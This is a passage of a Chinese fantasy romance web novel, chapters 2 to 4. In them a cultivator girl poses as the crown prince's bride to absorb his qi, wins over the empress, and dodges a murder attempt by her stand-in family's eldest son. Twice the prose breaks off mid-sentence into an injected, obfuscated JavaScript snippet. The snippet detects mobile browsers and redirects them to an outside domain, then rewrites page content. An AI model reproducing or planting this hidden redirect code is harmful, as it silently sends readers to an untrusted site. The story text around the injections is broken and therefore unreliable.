《太子扶我凌云志》 2. 太子 早朝刚下朝,赵景泽立刻回头想找太傅,而对方早已经消失在官员中。 太傅告假,已有近一个月没有踏足东宫,方才在殿上也不搭理他,果然还是生气了。 把太子妃遗忘在后殿也非他所愿啊,赵景泽讪讪地收回视线。 虽说太傅对他不理不睬,但也没提出要去探望女儿,这让赵景泽心生疑惑,不是说太傅极为宠爱小女儿。 随口敷衍着向他问好的其他官员,赵景泽才磨蹭着去跟皇后请安。 平日里皇后都会等他一同用早膳,今日赵景泽抵达凤仪宫时,正巧撞见了宫女们收走剩菜。 而皇后已经在端茶漱口,见到太子也只是冷淡地抬眉瞥了一眼。 皇弟皇妹见事态不妙,借口读书偷偷溜走了。 赵景泽硬着头皮上前请安:“母后,今日谁惹你不高兴了?” 皇后洗净双手,又接过新的安神茶,端在手中,淡声道:“人是你自己要娶的,大婚当日也是你自己拜的堂。人家千金贵女就被你如此磋磨,扔在后殿不管不顾,太子,你倒是好大的架子。” 果然还是来了,赵景泽眼睛乱瞟,挣扎着为自己辩解:“这不是春闱临近,父皇将此事交于我……” 蓦地,茶盖被重重地摔碎在他脚边,赵景泽下意识双膝一屈,跪在地上,“儿臣错了。” 认错速度快,态度诚不诚恳另说。 目光落到地上的碎瓷片,又落到太子蔫巴的神情,皇后宋瑛眼中闪过一丝心疼,很快收敛住,狠心道:“你若执迷不悟,我便去向你父皇请旨和离罢,免得耽误人家大好的青春。” 正巧此时殿外太监传唱:“陛下驾到。” 赵景泽只觉什么东西擦着他的肩膀而过,破碎声再次奏响,不出意外的话父皇已经走到门口了。 这回母后拍桌怒道:“滚出去!看看你教的好儿子!” 早已习惯皇后怒斥陛下的宫中众人眼观鼻鼻观心,各个闭目塞听垂头站着。 赵景泽也紧闭着嘴不吭声,在母后骂父皇时插话,倒霉的只会是他。 明黄色的袍角路过他时微微一顿,又很快错开。 不多时只有赵景泽被赶出凤仪宫,帝后两人重归于好。 只是临走时父皇那深邃的目光,明晃晃地写着“再惹你母后生气,扒了你的皮”。 幽幽叹口气,赵景泽随意拂了拂衣摆,心中暗自委屈帝后也不关心他昨日遇刺之事。 正要离开凤仪宫,皇后身边的宋嬷嬷追上来,塞给他一瓶金疮药。 “娘娘担心方才的碎瓷片伤到了殿下,特令我来送药。”年长的宫女语重心长道,“殿下可不要让娘娘失望啊。” 母后果然还是关心他的,赵景泽将金疮药收好,暗忖还是得抽空去见一见太子妃,虽然他心中极为不愿。 皇弟皇妹从宫门口探出脑袋,显然特意在这里等他,赵景泽装作不知,径直无视两个小毛头。 “皇兄皇兄!太子妃嫂嫂好看吗?” “我听若怡她们说可好看呢,我都没见到过。” 若怡是赵堇淳的玩伴,刑部尚书之女,不过总角年龄懂什么好看不好看。 何况赵景泽只是随便从那群贵女中挑了一个穿得最素雅的,压根没看清对方的的长相。 也无怪乎母后会生气,赵家向来只娶一妻,从不纳妾,哪怕成功逐鹿称帝后,皇祖父和父皇皆只有一位皇后。 草率选择太子妃,对彼此都不负责任。 赵景泽心虚地摸鼻子,若是和离,他肯定会被皇叔族老戳着脊梁骨骂,更是和太傅一家离了心。 早知当初,就不冲动了。 逃避了整整一个月的赵景泽,后知后觉生出懊恼心绪,十八年的人生里第一次这么后悔,晨课频繁走神。 代课的少师只得早早结束课程,心中暗暗祈祷太傅大人赶紧回来。 也无心处理公务,赵景泽将向晖召来,例行询问刺客一事,得到的答复是刺客仿佛人间蒸发了般。 向晖对此事极为上心,一整夜都在追查没有休息,更是调度更多侍卫,严防死守太子身边。 见他如此尽职,赵景泽也不好过多苛求,只让他放手去查。 而后才别扭地问起:“你昨日见到太子妃,觉得她是个什么样的人?” 向晖公事公办回:“昨日臣与娘娘交谈不过两句话,同处更是不超过一炷香,不敢妄自断言。” 这向晖就是个榆木脑袋,不解风情惯了,赵景泽恨铁不成钢,“那容貌呢,好看吗?” 向晖疑惑:“殿下不是见过娘娘画像,况且大婚之日……” 赵景泽马上打断,“画像和真人哪能比,大婚那日忙了一整天我哪还记得。” 那日的太子妃化着厚重的妆容,又有扇子遮掩,赵景泽又没细看,哪能记得太子妃的样貌。 可惜了,向晖回想昨晚太子妃明眸皓齿的容貌,却嫁给太子这么个负心汉,在荒凉的后殿蹉跎。 “你那是什么眼神!本宫要治你大不敬之罪!”赵景泽被他的眼神刺到,恼羞成怒。 “属下不敢。”向晖垂下眼。 “哼!”赵景泽合起手中的折子,将书桌上的书籍胡乱堆砌到一起。 折腾半天气消了些,才道:“今日午膳本宫要和太子妃一起用,你通知下御膳房那边。” 向晖领命离去,走到书房门口,还是停下将昨日暗卫听到的话转告给赵景泽。 赵景泽一惊,心绪不宁,“她真这么说?” “殿下大可直接传暗卫再问一次。”向晖目带谴责,“属下知您心悦宋小姐,但她已经嫁做人妇,您不该辜负她人真心。” “快滚快滚!轮不到你来说教我!”红霞爬上赵景泽俊秀的面容,也不知是气的还是别的什么原因。 待书房里只余孤身一人,赵景泽抓抓脑门,泄气地靠在椅子上。 若向晖说的是真的,李晓蓉这一个月该多伤心啊,他可真是混蛋……不然还是让父皇扒了他的皮吧。 - 澧都的天气喜怒无常,清晨落了几滴雨,等到午时,太阳又从云层中透出来。 余初晏仰躺在竹塌上,看了一上午的书被盖在脸上遮挡太阳,毫无形象可言。 以前在玉虚山上,她有一张灵玉做成的小塌,炼体之余就爱趴在塌上看各种杂书。 师尊起初还会训斥她没个坐像,看书怎可趴着躺着,再后来训斥无用,也就懒得管她了,只偶尔路过时会用拂尘抽她两下。 而今已经无人管她,天地之大,只有她孑然一身。 没来得及伤感,鼻尖已经嗅到食物的香气,虽然不是她想吃的三鲜面,却是一些全新的没吃过的美食。 余初晏当即坐起,厚重的书本顺着动作砸到大腿上也无暇顾及,方才那点郁气更是被她抛到九霄云外,满心满眼都只有即将到来的午膳。 “素兰,今天吃什么?为何这么香?” 她这一番动静自然引起了素兰的注意。 素兰只觉无语,这位新主子平日里总无精打采的,不是在起居室不出来,就是搬着竹塌躺在回廊。 也就只有在用膳和听到太子时,神色奕奕,饿死鬼投胎样。 凡人五感比不过修炼者,素兰没有闻到奇香,没好气道:“今晨不知道是谁要吃三鲜面,可别到了饭点又要折腾。” “那不是三鲜面的味道。”余初晏已经站起身,站在回廊口翘首以待。 素兰顺着她的目光望去,只看见敞开的殿门,门外空无一人。 这祖宗不会饿出癔症了吧,素兰赶忙招来其他宫女让她去催一催厨房送食。 “来了。”余初晏望眼欲穿,好歹还记得自己的身份,没有飞出去迎接。 话音刚落,两列宫女端着精致的食盒有序地入院,先是向余初晏行礼,随即进到殿内。 “动作麻利点,殿下就快到了。”为首的太监掐着嗓子,指使着宫女们布菜。 素兰僵立在原地,“殿下……哪位殿下?” 小太监睨过来,“这东宫里还有哪位殿下呢——哎!娘娘您还不能入座!” 不动神色拂开小太监拦向她的手,众人回神时,余初晏已经稳稳坐在了主座上。 若不是还有一堆外人在,她早就大快朵 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完全没有想过这些吃食,原本就是为太子到来而准备的。 “太子殿下,今日怎么有空来看望我。”余初晏强忍着不让目光粘在美食,柔声道。 熟不知她这幅杏眼微垂,语气隐忍的模样,更是让赵景泽心虚,也就没有计较对方占据主位一事。 “前些日子太忙,冷落了太子妃,今日得空,赶忙来陪你用膳。”赵景泽打了个磕绊,幸好他平日里暗中观察过父母相处。 趁着小太监为他布菜,他继续道:“这些日子蓉儿受委屈了,希望你不要在心中埋怨于本宫。” 说罢,赵景泽自己都起了一身鸡皮疙瘩,他何时这么说话过,看父皇张口就来,以为自己也能信手捏来,结果只觉别扭万分。 素兰垂头站在旁边,又偷偷掐了余初晏一把,后者才反应过来“蓉儿”是在叫她。 连忙抬眸一笑,“太子能来我高兴都来不及,怎么会心生怨怼。” 紫气东来,紫气西来,紫气四面八方来,小龙崽子最好能天天来。 这一笑给赵景泽看呆了,心里砰砰直跳,恰好下人恭敬地将玉箸奉上,他埋头用膳,借此分散热意。 以往赵景泽用膳谨遵食不过三箸,横竖这些菜品最终也不会浪费。 今日他心情甚好,想多用一些,抬头却发现桌上数十道菜已经消去了大半。 怔愣之中,他见到他身旁的太子妃,举止优雅,用膳姿态挑不出任何错处,但速度之快,只叫人瞠目堂舌。 觉察到太子三分震惊,三分疑惑,四分不知所措的目光,余初晏眨眼问:“太子殿下不吃了吗?” 那剩下的都是她的了? 赵景泽想不明白,太子妃看着身形单薄,居然能吃这么多。 常听太傅勤俭节约,也不能苛待自家人吃食啊,他打定主意过些日子要好好和太傅说道说道。 太子妃还在小心觑着他的脸色,赵景泽心中一软,放下玉箸,温声道:“本宫吃好了,蓉儿若是还未吃饱,就多吃些罢。” “多谢太子殿下。”余初晏自然不讲客气,顶着旁人惊骇的目光,将十余个菜一扫而空。 这是她下山以来,不对,有生以来吃得最快乐的一餐,小龙崽子人可真好,包饭又包灵力。 在成为皇帝前,这个龙崽她罩了,余初晏下定决心。 赵景泽稳了稳快裂开的笑容,又对上余初晏闪闪发光的眼神,心下一叹。 也罢,不过是些吃食,一个女儿家吃得再多又能花多少钱,他东宫还是供得起的。 今日一见,太子妃无论是家世容貌还是礼仪都称得上出类拔萃,赵景泽暗道虽然他不会爱上她,但好好相处还是能做到的。 注定了要辜负太子妃的一腔真心,愧疚使然,赵景泽决心加倍对太子妃好,因而道:“不用这么生疏地称呼殿下,太子妃的话可以直呼本宫的名字。” 余初晏动作一顿,大脑飞速运转,终究还是没能想起,这青渊太子,叫什么来着? 3. 帝后 太子离开了,背影匆忙,仿佛被猛兽追逐般。 偌大的宫殿很快回归冷清,余初晏有些惋惜,怎么就不多待会。 不过她也知贪多嚼不烂,下午抓紧冥想炼化这波紫气,巩固境界。 转头见到素兰一副快要晕厥的模样,余初晏体贴道:“素兰你快去吃些东西罢,我去小憩片刻。” 素兰摇头,忽然捂着脸羞愧地哽咽出声:“小姐我对不起您啊!您的名声全毁了!呜呜呜!” “你怎么可以当众说出那种话啊!呜哇哇!让人知道了,李大人家风会被传成什么样啊!” 余初晏被哭得满头困惑,她不就是因为想不起太子的名讳,又不能一直保持沉默。 只好转移话题问了太子一句“殿下今晚会召我侍寝吗”。 结果不仅太子当即借口公事离去,还惹哭了素兰。 侍寝不就是像素兰那样夜里守在床榻边就好,近距离吸收紫气此等好事,她当然不想错过。 为何这些人的反应都这么奇怪。 “我错了,素兰你别哭了。”虽然不知道素兰为什么哭,总之先顺着她道歉,余初晏认错态度良好。 罢了,毕竟面对的是心悦之人,她不应该太苛责阿晏小姐的不矜持,素兰悲伤地拭去眼泪。 前些日子夜里出去当“刺客”,想必也是为了和太子距离近一些,白天无法相见,只能夜里偷偷接近,聊表相思之苦。 心爱之人近在咫尺,却不能携手这种事她在小姐身边已经见得够多了,反正小姐也不可能再回到澧都成为太子妃,就由着阿晏小姐吧。 想通后的素兰,很快原谅了余初晏。 不知道她心路历程的余初晏,疑惑更甚,想不明白不到一盏茶的功夫,素兰的情绪怎么大起大落的。 不过凡人向来难懂,比起费心神猜测他们,不如多修炼。 余初晏步履轻盈,直奔起居室,仿佛已经预见了她成功登仙的美好光景。 - 原以为太子不召她侍寝,又要有几天见不到对方,第二天就再度相见。 彼时余初晏正因为卯时就被人打扰冥想而不悦,之后还被按头换上繁琐的宫装,梳洗打扮近两个时辰。 虽然她不至于迁怒旁人,但周身凌厉的气势让宫女们皆是一颤,手中的动作也越发拖沓,生怕稍有不慎便惹得太子妃发怒。 直到殿外通报太子来了,妆室里沉闷一扫而空,方才还含怒不语的太子妃,眉目一扬,喜笑颜开。 小龙崽子又来了,人还未到,紫气先一步涌进了殿里。 素兰一见这幅没出息的样子,心里又恼又叹,怎么阿晏小姐偏偏喜欢太子。 几息后,余初晏见到了和她同色系穿着的太子,昨天她满心满眼只有紫气,今日才有心思透过铜镜好好瞧一瞧太子的容貌。 少年五官灵动,斜飞的剑眉下是双多情的桃花目,琼鼻瑶唇,容貌精致,当是龙章凤姿。 好歹是长期食物和灵力来源,她得把太子容貌牢牢记在心中。 嘴里说着“只是入宫用个家宴,无需如此盛装打扮”,太子诚实地盯着铜镜,移不开视线。 热意爬上了少年太子的耳朵。 “太子殿下今日又来看我了。”铜镜中的少女笑容明媚,微昏的灯光也掩饰不住眉眼的风华。 太子瞥开眼,语气急促:“母后想见见你,昨日本该和你说,后来忘了——总之今日不用早朝,便一同进宫罢。” 说着留下一句“本宫在殿外等你”,大跨步离开了妆室。 只余下紫气顺着余初晏的呼吸汇入丹田中流转,照这个速度几年之内结丹不成问题。 难怪那些前辈明知伴君难,仍要想方设法接近君王。 两人坐上了前往皇宫的步辇已经巳时。 今日因为入宫准备,余初晏没用早膳,虽然她不会觉得饿,少吃一顿美食还是让她有些难过,紫气勉强弥补了这份缺陷。 太子不知从哪拿出一个小巧的食盒,内里是一盘精致的糕点。 “离午膳还有些时间,你先垫垫肚子。” 这些都是父皇常用的讨母后欢心的小把戏。 以前赵景泽只道父皇手段幼稚,等见到太子妃因惊喜而压不住上扬的嘴角,他也不自觉带上笑意。 余初晏迫不及待捻了一块,是桂花糕,入口即是满齿清香。 相似又不同的味道,让余初晏回想起了另一盘桂花糕。 她初见李晓蓉时,正是九月初旬,夏日的尾巴。 余初晏原本只是想混入太子妃仪仗队伍里,成为李晓蓉的婢女或是护卫接近太子。 意外地和李晓蓉成了朋友,更是得知她心有所属,却被圣旨拆散的愁苦与悲伤。 大婚定在十月初十,那段时间桂花开得正好,满城的风中都能闻见那缕清香。 某日,李晓蓉天还未亮便起来忙碌,匆匆忙拎着食盒出门,又脸色苍白而归。 食盒最终摆到了余初晏面前,里面只有一小盘精心布盘的糕点。 那是用犹带晨露的桂花,辅以少女诚挚的情感做给爱人的最后一盘糕点,他们已经无法携手共度。 余初晏只咬了一口就爱上了它,追问:“这是什么?” 彼时,即将嫁入宫中的李晓蓉苦笑:“是桂花糕,你都吃了罢,横竖喜欢它的人再也吃不到了。” 余初晏用完了那盘桂花糕,“我承了你的桂花糕,就替你嫁入东宫罢。” 而今余初晏端坐在步辇,身旁相伴的正是李晓蓉避之不及的太子,手中却捧着和当时一样的糕点。 凭心而论,宫中御厨所做的桂花糕无论是模样还是味道都甚于晓蓉所做,但余初晏从那盘桂花糕里感受到了少女复杂的心绪,那是她所不理解的凡人之心。 余初晏想让晓蓉一直笑着,所以选择了替嫁,事实证明,这个决定无比明智。 余光瞥见太子的注视,余初晏大度地分了一块给他,笑问:“殿下怎知我喜欢这个?” 赵景泽自然不会说这是他特意问的宫人。 松软香甜的糕点被少女葱白指尖抵在他唇边,赵景泽不喜甜点也只能张口用下,倒不如他想象中那么甜腻。 手抽离时,指腹轻轻擦过赵景泽的唇角,余初晏不甚在意地继续捻起下一块糕点送入自己口中,偏头欣赏起路上的风景。 全然不知红霞从太子脖子一直攀升到耳朵,直到晕染了整张脸。 这桂花糕果然还是太甜了,赵景泽找补。 少年人很少直面如此直白而热烈的甜度,被烧得满脸发烫,久久无法缓过神。 随着步辇前行,余初晏咀嚼动作渐缓,面上也染上了凝重。 此前一路上她眼中只能看到拢在她身边的紫气,而深入宫中后,那些高大威严宫墙上盘旋不去的黑红怨气,多到紫气都掩盖不住。 这些怨气扭曲着朝着路过的所有人蔓延,凡人被缠绕后,自身的气便会染上黑气。 长期居住或经常路过此地,很快会被黑气吞噬殆尽,届时等待此人的只有死亡。 而转过这条压抑的横街,步入宫城后,黑气趋近于无,阴冷之气也不复存在,阳光撒下。 这条进入宫城的必经之路,到底枉死过多少凡人,才会形成如此阴森之势。 余初晏收回视线,心情也不复最初那般愉悦,这皇宫也没有她想象中那么好待。 - 凤仪宫近在眼前,太子扶余初晏下辇,她想了想没有拒绝。 “在父皇母后面前记得自称儿臣。”贴近时,太子在她耳边小声提点。 错身前又马上补充“当然,本宫特许你可以在本宫面前自称‘我’。” 余初晏笑笑不语,无心回复太子,因为她看到了比之太子更繁盛也更复杂的紫气——真正的真龙之气。 此时她才知为何那么多修仙者会失败,就连师尊都不得不放弃此法。 也明白了师尊留给她的心法是如此宝贵。 气,称得上是万物根本。天地间混杂着各种气,再由这些气组成万物。 修仙者的本质正是吸收这些天地之气,转为己用,最终达到与天道无异的境界,方可踏破虚空。 但并非每个人都能见到气,灵气易为人所见,因此能否看见灵气是判断人有无修炼天赋的标准。 余初晏有所不同,她不仅能看到灵气,更能看到万事万物的气。 此天赋称得上是得天独厚,千年难遇,但对于年幼的她来说,无知无觉触碰这些气只会带来危害,伤及性命。 故此师尊才将她带在身边,教她学会控制这份能力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501160|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今的余初晏若不主动动用能力,平时就只能瞧见人身上浅薄的气运。 常人无灾无病便是透明之气,修仙之人是莹白之气,将死之人是黑气,习武之人是蓝气,恶贯满盈之人是红中带黑,大富大贵之人是橙气,皇亲贵族橙中带紫。 太子之气紫中带金,所到之处熠熠生辉,无不彰显尊贵身份。 而这真龙天子,因为沾染太多因果,巨大的紫气团与诸多颜色纷杂而成的黑气交织缠绕在一起,难以分割。 如果一开始就引这种气入体,黑气堆积在修真者体内,将成为极大的隐患,阻碍修炼,更甚者可能形成心魔,道心破碎,无怪乎前辈们会失败。 余初晏暗道除非突破元婴,否则她绝不会吸收真正的帝王之气。 念此,她悄悄往太子身边靠了靠,希望小龙的紫气能将老龙隔绝。 太子身躯微僵,没有阻止她的接近。 皇后身边的大宫女春柳暗中将两人的相处记在心中,暗道皇后担心怕是多余的,太子可不像是对太子妃全然无感的样子。 心中感慨万千,面上却是丝毫不显,春柳朝着殿内通报后,才领着两位主子入殿。 帝后已经端坐于上首主座,大婚当日余初晏已见过这位端庄华贵的国母,皇帝没有出席。 彼时她一袭明黄色凤服坐于高堂,不怒自威,而今只穿了件素净的月白色常服,面带笑容,乍一看像是位寻常慈母。 除了帝后,还有两位年幼的皇子,正好奇地瞧着余初晏,是太子的双生弟妹。 也不知青渊皇室可还有其他皇子,婚宴时她也只见到过这两位小殿下,倒是不像师尊所说的那般皇子皇孙众多。 随着太子行过请安礼后,皇后立刻将余初晏拉到跟前,嘴中嗔道:“太子也是不知礼数,早该同你进宫请安,偏生让你在那荒芜之所受委屈。” 虽是责备之语,但无过多责备之意。 余初晏抿唇笑,并不回复。 拉着她的手,皇后仔细打量着她,随口一说:“蓉儿倒是出落得与幼时不同。” 余初晏来东宫时几乎没有改变自己的模样,因为晓蓉曾说过她幼时身体不好,鲜少与外人接触,除了家里人与相熟的亲戚朋友,京中少有人知道她的相貌。 所以余初晏只简单地修饰眉形与眼形,让她与晓蓉的画像有六七分相似。 不料这皇后曾见过晓蓉,还瞧出了她与晓蓉长相不同,余初晏琢磨着该如何敷衍过去。 太子凑过来,似是不满皇后只与太子妃交谈,“女大十八变嘛,母后你一直拉着人家做甚,进来这么久也不赏口茶喝。” 被这么一打诨,皇后转走注意,“你这痴儿,本宫还能少你吃、少你喝不成。” 余初晏松了口气,悄悄退到一旁,试图降低自己的存在感。 太子与皇后逗趣,两位小殿下也围上来玩闹,皇后虽然口出嫌言,眉梢却一直扬着,倒与寻常百姓家无异。 这副其乐融融的画面,让余初晏也露出三分笑意,方才差点露馅的紧张之意淡去。 一偏头,她却发现皇帝在看她,目光晦涩,显然皇后被转移注意,皇帝却没有,反而生了疑。 余初晏不躲不闪,直直对上那双锐利的眼睛。 眼前虽是人间真龙,余初晏可不怕,她是注定要站在此界顶峰之人,怎会被这这区区凌厉目光吓退。 “陛下。”皇后打破了两人僵持的氛围,“该传膳了,再晚些,你这几位金枝玉叶的殿下们可要饿坏了。” 皇帝错开视线,周身气息瞬间变得柔和,“依你。” 余初晏知道帝后这边暂时是糊弄过去了。 “父皇在母后跟前就是这样的。”太子忽然来到她身边,跟她咬耳朵,“你不觉得堂堂青渊帝后这般,真的很腻歪吗?” 大殿上也没几个人,太子如此行事反而惹人注目,不过余初晏不会拒绝小龙崽的亲近,她也顺势贴上太子耳朵,“帝后感情好,是国家之幸。” 轻微的呼吸打在耳廓,鼻尖是太子妃身上萦绕着的浅淡熏香,太子妃吐气如兰,“殿下喜欢的话,也可与我多亲近些。” 最好天天来找她,紫气吸到饱。 在帝后别有深意的目光下,太子再度面红耳赤,还未到隆冬,母后宫中的地龙为何烧得如此旺盛。 4. 落水 自面见帝后已过三日,余初晏从后殿偏院搬离,新寝殿比之前的更接近太子寝殿,院落也更大,造景丰富。 连带着还有一众赏赐,算是弥补她之前被冷落,余初晏是随意扫了一眼,便让素兰通通锁进库房里。 因着余初晏不喜太多人,宫女太监配置没什么变化,只是干活比以往更上心了。 素兰挑了两个机灵些的宫女替她打下手,方便她时刻待在余初晏身边。 “小姐,少府监处来人,说是问制冬衣是否还用此前的尺寸。” 私下无人时,素兰还是习惯称呼余初晏小姐。 大婚前,少府监曾派人为李晓蓉量尺寸制婚服与礼服,如今不过月余又派人来询问。 素兰没觉得有什么不对,惯例请示余初晏。 这么快就来试探了,余初晏心想这皇帝比她想象的要多疑。 余初晏身形与李晓蓉相似,却是高了一寸有余,毕竟年长几岁。 她大可施个术法忽悠过去,想了想没有这么做,“你去回,让他们继续按之前的尺寸来。” 横竖皇帝已经怀疑,一个谎言要用更多的谎言掩盖,她没那个功夫次次想方法完美圆过去,不如先顺其自然。 余初晏并不担心她的身份败露,反正她迟早要离开澧都的。 吸收同一人的紫气越到后面越难以精进,青渊太子未必支撑她迅速结婴,所以等到了瓶颈期,余初晏就会离开寻找下一位目标。 唯一有些苦恼的是该如何将晓蓉跟她的家人摘出去。 - 素兰领命离开,余初晏顺势溜哒出去,并未让人跟随。 搬来这边后,不出一盏茶的功夫便可走到一小片人造池塘边,错乱的残荷缀在水面,随风轻轻摇曳。 穿过水榭回廊,来到尽头的亭中,就能望见太子书房,通常太子白日里都会待在那里。 余初晏正巧可在此修炼,这是她前两日在东宫中瞎逛时发现的绝佳修炼处。 虽然周边时常有侍卫下人经过,但都识趣地不会来打扰,又有帘子遮挡,旁人只知她在此,不靠近却不知她的行事。 眼见着快入冬了,虽说澧都的冬日少有雨雪,但寒冬日日来此修炼,到底引人注目了些。 余初晏打算这些天多吸收些紫气,等到隆冬一并炼化。 思索间,已然盘腿坐下,开启今日的吐纳。 临近午膳时间,明德殿门敞开,太子今日的讲学结束了,几位近臣相继离开。 余初晏准备回殿,在做最后的运转。 陌生的脚步声接近,她当即结束修炼站起身来。 骤然中断吸收,聚过来的紫气四散开,卷起一阵劲风,吹开了亭周所挂的竹帘。 也让余初晏看清了来者的面容,认出此人的身份。 “微臣给太子妃殿下请安。”来人虽嘴上恭敬问好,却无行礼动作,肩背挺直,身边蓝气围绕,面色不善。 他拂去挡路的竹帘,站在亭口并未再接近,隔着几步之遥与余初晏对视,“不知太子妃殿下在这东宫中待得可好?” 余初晏撇嘴,还以为是谁,往后一靠,悠闲地坐下,“还行吧,替我谢谢李大人这些日子的照拂。” 之前她虽暂居冷宫,但衣食样样无缺,东宫配备的宫人对她甚是怠慢,能过得这么舒坦,无非是太傅及夫人在背后的打点。 而现在站在她面前的正是李家长子,李晓蓉之兄,李熹丛。 余初晏此前与他仅有几面之缘,省亲那日他和其父母才知道替嫁一事,也才拿到李晓蓉留给他们的书信。 也不知晓蓉写了什么,太傅夫妻误会余初晏是被欺骗、被逼迫的一方,对她万般愧疚,李熹丛却并未相信。 今日来见余初晏,更是甫一见面就压抑不住杀意。 拢在袖中的手掐着法诀,装作毫无防备,余初晏扬起笑容:“所以你今日来做什么,‘大——哥——’” 李熹丛眼中杀意更甚,很快又收敛,沉沉压在眼底,开口道:“晓蓉回来了。” “在天宁寺。” 余初晏手指微微抽动一下,没有立刻回复,而是用神识探查四周。 明德殿顶上有暗卫在注视着这边,不过这个距离探查不到她和李熹丛的举动与谈话内容。 李熹丛兀自往下说:“我比晓蓉年长十岁,我看着她长大,也了解她,她做不出私奔、替嫁此等大逆不道之举,定是有人撺掇她。” “而张聿那个自私懦弱的废物,更不可能做得出——他连向李家提亲都不敢。” 张聿便是晓蓉倾慕之人,是李府管家之子,两人称得上是青梅竹马,两小无猜。 等到了通人事的年龄,自然互生情愫,私定终身。 只是贵女婚嫁不由自己,身份、地位悬殊带来的阻碍足以消磨少年人青涩的感情。 余初晏记得她初提出替嫁之时,晓蓉眼里虽无欣喜却有犹豫,等见识过她那些异于常人的手段后,才咬牙答应。 大婚只余两日,余初晏以为李晓蓉会仓促离京,却不想李晓蓉早有准备,拿出的包裹像是已经预见这天。 “初接圣旨时,我就想过与聿郎一同离开澧都,去无人认识我们的地方。”晓蓉苦笑, “聿郎拒绝了,他有父亲,我也有父母,倒是我意气用事了,抗旨不遵,连累的是整个李家。” “阿晏,你是真心想入宫去吗?我断不可草率让你替我入那火坑。” 余初晏笑,“我当然想进宫,原本不就是为了和你一起进宫才来你身边的吗?倒是你,准备这么多,你那个聿郎愿意跟你离开吗——要是不愿意,我替你绑了他!” “他愿意的。”李晓蓉也笑了,只是那笑里不似以往的纯粹,反而多了迷茫,掩盖在期许之下。 大婚前夕,余初晏才见到晓蓉口中的聿郎,是位清秀的书生,看向晓蓉的眼睛里有藏不住的爱意。 只是师尊曾说过,凡间男子最是无情,无论他们表现出多深厚的爱意,随着时间流逝,这份爱意的权重会被众多事务分去,金钱、权势、更年轻的“你”,直至这份“爱意”一分不留。 所以余初晏又问了李晓蓉一次,“你真的要跟他离开?现在后悔还有转圜余地。” 她与聿郎都等待着回答,她面带担忧,聿郎神色紧张。 “施术罢。”李晓蓉却不想给自己回头的机会,她用力握住聿郎的手,“记得你答应我的。” 手中的传送符无火自燃,余初晏重重起誓,“我会保护澧都李家,只要我在澧都一日,而你,晓蓉,只要你反悔,我会立刻带你回澧都,将一切归位。” 修仙者的誓言极为重要,违背誓言将会受到天道惩罚,所以修仙者向来诺不轻许。 余初晏以心魔起誓,足以显出她对李晓蓉的重视。 不过她明明记得将两人传送到了青渊与月凰国的交界处,才不到两个月,为何晓蓉就被带回。 眼前人应当没有撒谎,余初晏脑中闪过众多念头,最后只问:“晓蓉她还好吗?” “假惺惺。”李熹丛冷冷道,“我父亲两朝元老,太子之师,一生兢兢业业,为国为民,绝不能因你而名声受损,为陛下所猜忌。” 说话间他手中运气,一掌劲风猛然轰向余初晏。 步摇被吹得泠泠作响,发丝微乱,余初晏不得不将戳弄到眼睛中的碎发别开。 余初晏:…… 李熹丛:…… 亭中一片死寂。 李熹丛不信邪,只当自己忽生恻隐之心,才在最后一刻收了手,当下又是聚气一掌拍出。 这回竹帘被掀起,噼里啪啦撞作一团,余初晏眨眨眼,试探性地问:“你在做什么?” 联想到李熹丛之前的杀意,再结合这两掌,余初晏顿悟,这李熹丛似乎想把她推下池塘啊! 只是功夫不到家,凭这点轻飘飘的内力,怎么可能推得动她。 看李熹丛不死心,余初晏甚至站起来,大大方方让他吹,连着几掌都只让她的衣摆翻动,身体纹丝不动。 再折腾下去,就要过用膳时间了,余初晏好心道:“我答应过晓蓉,哪怕暴露也不会牵连你家,反倒是你今日这般行事才令人生疑。” 李熹丛却不管不顾,厉呵出声:“说得好听!你当我不知向统领正追查刺客一事,迟早会查到你身上,届时李家百口莫辩!我断不会让李家一世繁荣断送于你这妖女之手!” 说罢他抽出藏于靴间的匕首,向前一刺。 李熹丛原计划用内功将占据她妹妹位置的妖女推入水中,伪装成失足落水。 紧接着他再以救助之名下水,断绝她最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501161|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝生机,也将李家摘干净,唯一缺憾就是他的妹妹怕是要隐姓埋名一段时间。 不料这妖女功力之深,连他都无法撼动,只好掏出这把天宁寺方丈赠与他的,用以降妖除魔的匕首刺死妖女。 虽然之后解释会麻烦许多,但他李家忠心不二,定能取信于陛下。 这一击,势在必得! 李熹丛自以为风驰电掣的一击,在余初晏眼中仿佛被放慢了百倍,比她七岁时的出剑速度还要慢。 捏法诀都多余,余初晏只略微拂袖,便躲开了匕首。 惯性之下,李熹丛扑入水中,惊起一众水花。 明德殿的暗卫动了,余初晏也动了,她趴在低矮的围栏,口中“焦急”大喊:“快来人呀!兄长落水了!” 只有在水中扑腾的李熹丛才能看到她平静无波的面容,以及眼中暗含的嘲讽。 李熹丛落水动静之大,连太子都惊动了。 等到他被侍卫从水中捞出来后,太子一行人也匆匆赶来,身后还跟着两位近臣,其中就有李太傅。 太子紧张地凑到余初晏身边,“蓉儿你没事吧?” 余初晏望着他不作伪的担忧,又错开眼看到太傅复杂的神色,缓缓摇头,“落水的是大哥,不是我。” “殿下!此女根本——”浑身湿透的李熹丛还想作妖,却被李太傅高声打断, “臣等参见太子妃娘娘,娘娘万福金安。” 